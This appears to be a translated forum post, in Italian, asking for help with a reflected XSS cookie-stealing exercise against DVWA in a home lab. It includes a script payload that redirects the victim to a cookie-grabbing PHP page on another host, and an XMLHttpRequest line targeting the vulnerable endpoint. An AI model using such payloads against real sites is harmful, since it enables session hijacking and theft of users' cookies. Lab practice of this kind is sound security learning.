Sto tentando di sfruttare una vulnerabilità XSS Reflected su DVWA per rubare i cookie. Attualmente sono riuscito a creare il seguente payload in una richiesta HTTP che reindirizzerà la vittima per caricare ed eseguire un file php cookie.php
.
Il seguente payload, se inserito nella casella di ricerca, caricherà un file php.
<script>document.location.href="http://localhost:81/myfiles/cookie.php"</script>
Pertanto, vorrei incorporare questo payload su una pagina malevola (a cui la vittima accederà). Questo è l'aspetto della pagina dannosa.
Quando questa pagina malevola viene caricata dall'utente, un file php deve essere caricato per rubare il cookie dalla vittima e quindi scrivilo su un file Ciò non sta accadendo nonostante il fatto che il payload sia riecheggiato con successo nel browser della vittima. Lo controllo stampando la risposta HTTP e ho cercato il mio payload. Ecco una dimostrazione del concetto. Quindi, nonostante il payload sia stato consegnato con successo al browser della vittima, il file php non è stato caricato.
Questo exploit funzionerà se carico cookie.php
manualmente sul browser o se lo invio alla casella di ricerca direttamente sul server web vulnerabile, ma questo è un imbroglio. Quindi la mia prima domanda è: Perché il file php non viene caricato se il payload è stato restituito con successo?
La mia seconda domanda è: supponiamo che voglio farlo in uno scenario di laboratorio reale in cui ho due macchine sulla stessa rete virtuale. 192.168.56.102
sta eseguendo web server e ha il cookie grabber. La pagina dannosa funzionerà se cambio solo gli indirizzi IP? Voglio dire ... invece di localhost sulla porta 81 lo cambia in IP sulla porta 81?
So che probabilmente non funzionerebbe perché se faccio questo:
http.open("GET","http://192.168.56.102:81/vulnerabilities/xss_r/?name="+encoded_url,true);
Non verrà assegnato un cookie perché questa "domanda" non è indirizzata alla mia sessione del browser ma è invece l'IP del server.
Chiaramente, puoi vedere che sono quasi arrivato (e forse un po 'perso) ma posso davvero usare un feedback su questo. Cosa ne pensi?